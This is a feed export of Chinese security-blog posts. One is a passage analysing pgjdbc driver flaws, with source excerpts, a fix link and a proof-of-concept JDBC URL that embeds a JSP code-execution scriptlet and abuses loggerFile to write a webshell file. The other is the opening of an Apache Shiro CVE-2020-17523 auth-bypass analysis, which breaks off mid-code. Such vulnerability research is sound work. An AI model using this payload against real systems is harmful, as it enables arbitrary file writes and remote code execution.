src="https://wechat2rss.xlab.app/img-proxy/?k=f6b67208&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8hy902iaiarfda1DxYiaj0dVPVQ37xictPwMxqQIibNf3YTsTKpWIt3l49Ew%2F640%3Fwx_fmt%3Dpng"/></p><p>一路step到ConnectionFactoryImpl.tryConnect()中调用enableSSL方法，当收到的第一个字节为&#34;S&#34;时，继续进入下一步的MakeSSL.convert(pgStream, info)否则则抛出异常：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">private</span> PGStream <span class="code-snippet__title">enableSSL</span><span class="code-snippet__params">(PGStream pgStream, SslMode sslMode, Properties info, <span class="code-snippet__keyword">int</span> connectTimeout)</span> <span class="code-snippet__keyword">throws</span> IOException, PSQLException </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (sslMode == SslMode.DISABLE) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> pgStream;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (sslMode == SslMode.ALLOW) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> pgStream;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        LOGGER.log(Level.FINEST, <span class="code-snippet__string">&#34; FE=&gt; SSLRequest&#34;</span>);</span></code><code><span class="code-snippet_outer">        pgStream.sendInteger4(<span class="code-snippet__number">8</span>);</span></code><code><span class="code-snippet_outer">        pgStream.sendInteger2(<span class="code-snippet__number">1234</span>);</span></code><code><span class="code-snippet_outer">        pgStream.sendInteger2(<span class="code-snippet__number">5679</span>);</span></code><code><span class="code-snippet_outer">        pgStream.flush();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> beresp = pgStream.receiveChar();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">switch</span>(beresp) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">69</span>:</span></code><code><span class="code-snippet_outer">            LOGGER.log(Level.FINEST, <span class="code-snippet__string">&#34; &lt;=BE SSLError&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (sslMode.requireEncryption()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> PSQLException(GT.tr(<span class="code-snippet__string">&#34;The server does not support SSL.&#34;</span>, <span class="code-snippet__keyword">new</span> Object[<span class="code-snippet__number">0</span>]), PSQLState.CONNECTION_REJECTED);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> PGStream(pgStream, connectTimeout);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">78</span>:</span></code><code><span class="code-snippet_outer">            LOGGER.log(Level.FINEST, <span class="code-snippet__string">&#34; &lt;=BE SSLRefused&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (sslMode.requireEncryption()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> PSQLException(GT.tr(<span class="code-snippet__string">&#34;The server does not support SSL.&#34;</span>, <span class="code-snippet__keyword">new</span> Object[<span class="code-snippet__number">0</span>]), PSQLState.CONNECTION_REJECTED);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> pgStream;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">83</span>:</span></code><code><span class="code-snippet_outer">            LOGGER.log(Level.FINEST, <span class="code-snippet__string">&#34; &lt;=BE SSLOk&#34;</span>);</span></code><code><span class="code-snippet_outer">            MakeSSL.convert(pgStream, info);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> pgStream;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> PSQLException(GT.tr(<span class="code-snippet__string">&#34;An error occurred while setting up the SSL connection.&#34;</span>, <span class="code-snippet__keyword">new</span> Object[<span class="code-snippet__number">0</span>]), PSQLState.PROTOCOL_VIOLATION);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>监听该端口返回&#34;S&#34;，跟进convert方法：</p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2814px;height: 1678px;" data-ratio="0.5962962962962963" src="https://wechat2rss.xlab.app/img-proxy/?k=e7ebd317&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8kiaOtaGGLEuuS1aC7G3lqbX3bMuIlfCycGgwPTg0n2H2iaYgmYR2wSQw%2F640%3Fwx_fmt%3Dpng"/></p><p>后续会进入到getSslSocketFactory同样使用ObjectFactory.instantiate()进行实例化就不赘述了</p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2952px;height: 1816px;" data-ratio="0.6148148148148148" src="https://wechat2rss.xlab.app/img-proxy/?k=7f80ae19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv86C3fQZpYibqsdgQ3WYNzZbeuCfhJtWgeI7dBNur5oicIC4FAxGA0eKfA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2952px;height: 1816px;" data-ratio="0.6148148148148148" src="https://wechat2rss.xlab.app/img-proxy/?k=67b6b273&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8JxvZZiakfHTd8gZwbw0y7VuRDhGgDsMFMuujFCsvEDdicH9hZspRMmdg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2848px;height: 1672px;" data-ratio="0.587037037037037" src="https://wechat2rss.xlab.app/img-proxy/?k=8b1ebdc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8ngNicWoe3sH3oAkibSnA1Mia0dfqewdUyn7JWTfI6P8vVvCpMyrBp4joA%2F640%3Fwx_fmt%3Dpng"/></p><p>同样附上这位师傅的流程图：</p><p><span style="color: rgb(0, 56, 132);"><a href="https://xz.aliyun.com/t/11812#toc-4" target="_blank">https://xz.aliyun.com/t/11812#toc-4</a></span></p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 1514px;height: 788px;" data-ratio="0.5203703703703704" src="https://wechat2rss.xlab.app/img-proxy/?k=52096bc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8SMu226xricYJmpKU8AX0Y9HaKBDvzUby5jiaCtbojGcB8U28KSmPbCPg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: inherit;">loggerLevel/loggerFile </span><span style="font-weight: bold;font-size: inherit;">任意文件写入</span></p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2088px;height: 1128px;" data-ratio="0.5398148148148149" src="https://wechat2rss.xlab.app/img-proxy/?k=18c43ac1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8B64DhYyEUuKM9pPDI5gzIgK6stovHJ2BZyH7ZK1EBK7tIC4udookvQ%2F640%3Fwx_fmt%3Dpng"/></p><p>原本是用于控制日志的输出，由于未严格校验用户输入导致任意文件写入（需要有可连接的PostgreSQL库环境）：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">test3</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>) throws SQLException</span> {</span></code><code><span class="code-snippet_outer">        String jdbcUrl = <span class="code-snippet__string">&#34;jdbc:postgresql://localhost:5432/postgres?&lt;%Runtime.getRuntime().exec(\&#34;open -a calculator\&#34;);%&gt;=1&amp;loggerLevel=TRACE&amp;loggerFile=/xxx.../123.jsp&#34;</span>;</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;PostgreSQL Driver Version: &#34;</span> + org.postgresql.Driver.class.getPackage().getImplementationVersion());</span></code><code><span class="code-snippet_outer">        Connection connection = DriverManager.getConnection(jdbcUrl);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        Connection test_connection = DriverManager.getConnection(testURL,&#34;postgres&#34;,&#34;password&#34;);</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.6148148148148148" style="width: 2952px;height: 1816px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bccda5e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8f1IUjgPQDX3kQBDyOkJJTtNs7geSlNuJcqPcwQ5cXapqXL5rgIYTmw%2F640%3Fwx_fmt%3Dpng"/></p><p>结合Y4tacker师傅提出的URL不解参数名的特性写入一句话webshell(yyds):</p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2952px;height: 1816px;" data-ratio="0.6148148148148148" src="https://wechat2rss.xlab.app/img-proxy/?k=cb8a6441&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8ykE8gYjAyYibGh8ZFdcX2Vea41adE7Rib5INw0bAo6BFoSkRaP0TrARQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2820px;height: 1760px;" data-ratio="0.6240740740740741" src="https://wechat2rss.xlab.app/img-proxy/?k=17d6c42f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv83656tiawrj3Tj094lByb9CZFT3BF3dtRWuTxXCtoSAjUajQteguvz0A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: inherit;">漏洞修复：</span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813" target="_blank">https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813</a></span></p><p>代码执行：</p><p>在实例化类时会校验传入的类名是否为期望类：</p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2848px;height: 1488px;" data-ratio="0.5222222222222223" src="https://wechat2rss.xlab.app/img-proxy/?k=101f4a5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8NhOwQX88XFhib7VoibDUicoYDOHprFq7aNDNGTUwk0M7fNDTqkJVXtL0Q%2F640%3Fwx_fmt%3Dpng"/></p><p>默认方法虽也可获取构造函数，但传入的args部分并不可控：</p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 2952px;height: 1816px;" data-ratio="0.6148148148148148" src="https://wechat2rss.xlab.app/img-proxy/?k=14776672&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8dg5crwQL2A44EE5N53kFSVXD1twudTtH0YPC1gGFibrRdfQaLSI0PAg%2F640%3Fwx_fmt%3Dpng"/></p><p>文件写入：</p><p>目前已不支持该字段，改用java.util.logging来处理日志相关事项。</p><p><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="width: 1776px;height: 1282px;" data-ratio="0.7222222222222222" src="https://wechat2rss.xlab.app/img-proxy/?k=690f8d74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8nOic6OlkMBCtKNYBPsMJ92vRvbEBgd1UEKGATzLsohGjEPchXSfH0XQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 28px;">后记</span></p><p>两位师傅的文章写的很完整了，建议阅读：</p><p><span style="color: rgb(0, 56, 132);"><a href="https://xz.aliyun.com/t/11812#toc-5" target="_blank">https://xz.aliyun.com/t/11812#toc-5</a></span></p><p><span style="color: rgb(0, 56, 132);"><a href="http://tttang.com/archive/1462/#toc_0x02-postgresql-jdbc-driver" target="_blank">http://tttang.com/archive/1462/#toc_0x02-postgresql-jdbc-driver</a></span></p></article><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484026">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=df316592&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247484026%26idx%3D1%26sn%3D99eb3e96c9bb4c1941202dcaacf16099%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 01 Dec 2022 20:59:00 +0800</pubDate>
    </item>
    <item>
      <title>Shiro_v1.7.1_身份认证绕过分析(CVE-2020-17523)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483941&amp;idx=1&amp;sn=01265e369b65cde2acf999b3432c84e4</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-11-29 00:22</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d167b879&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2Yt0Of1jxL9rdTPdYLib09wGnPiaXn9NA9tGfZbMEBlaPt83zoCsQhicbZhw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 28px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言：</span><br/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GGvI-1669618085393&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mDsZ-1669618085365&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最近正好工作碰到需要重新分析一下这个漏洞。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JvON-1669618269113&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EBBr-1669618269111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D238-1669618085618&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3234-1669618085612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;关于Shiro框架：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xvVS-1669618104498&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Emx-1669618104494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从解耦的角度来看shiro主要有三个核心组件，分别为：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UhPk-1669618997784&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QlKZ-1669618997779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bk4X-1669618387801&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Subject :经过认证的操作主体。&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6b2o-1669618997780&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i6Lu-1669618388276&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;SecurityManager: Shiro内部用于提供各种安全管理接口的内部实体。&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JrIA-1669618997781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1doJ-1669618388278&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Realm: 可以看作用于Shiro进行主体认证的凭证，Shiro会从应用配置的Realm中查找对应的主体认证信息以及其权限信息。&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0zft-1669618278949&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DSFo-1669618278947&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;今天分析的漏洞主要关注SecurityManager中Filter对于路由的处理逻辑。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iecm-1669619148551&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;211j-1669619148550&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞环境来自jwenj师傅：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FziT-1669619259885&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BzlU-1669619259884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;0JVn-1669619256632&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/jweny/shiro-cve-2020-17523&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QEme-1669619256630&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/jweny/shiro-cve-2020-17523&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BYOa-1669619256634&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cqBc-1669651664182&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MFKR-1669651664179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;（springboot用的 2.4.4）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rkul-1669619262059&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BRsE-1669619262057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考如下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lvga-1669619267917&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZmgG-1669619267915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;ShiroConfig：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HVh0-1669619295097&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ojJ7-1669619295096&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tZYv-1669619292050&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;@Configuration&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8fXK-1669619295900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x6Q5-1669619295899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class ShiroConfig {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YO7L-1669619295902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h8ZJ-1669619295901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @Bean&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q77T-1669619295904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6TPV-1669619295903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    MyRealm myRealm() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N2RG-1669619295906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W8Fb-1669619295905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return new MyRealm();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uDlG-1669619295909&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vKVC-1669619295908&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ATXG-1669619295911&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zHw0-1669619295910&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VLom-1669619295913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7EUp-1669619295912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @Bean&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P4GY-1669619295915&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IA1Q-1669619295914&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    DefaultWebSecurityManager securityManager(){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNtq-1669619295917&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pun0-1669619295916&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        DefaultWebSecurityManager  manager = new DefaultWebSecurityManager();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;26y3-1669619295919&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T7uj-1669619295918&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        manager.setRealm(myRealm());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gdzi-1669619295921&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kYob-1669619295920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return manager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;btJe-1669619295923&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f8r8-1669619295922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2vG7-1669619295925&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9hCR-1669619295924&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xce3-1669619295927&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vey3-1669619295926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    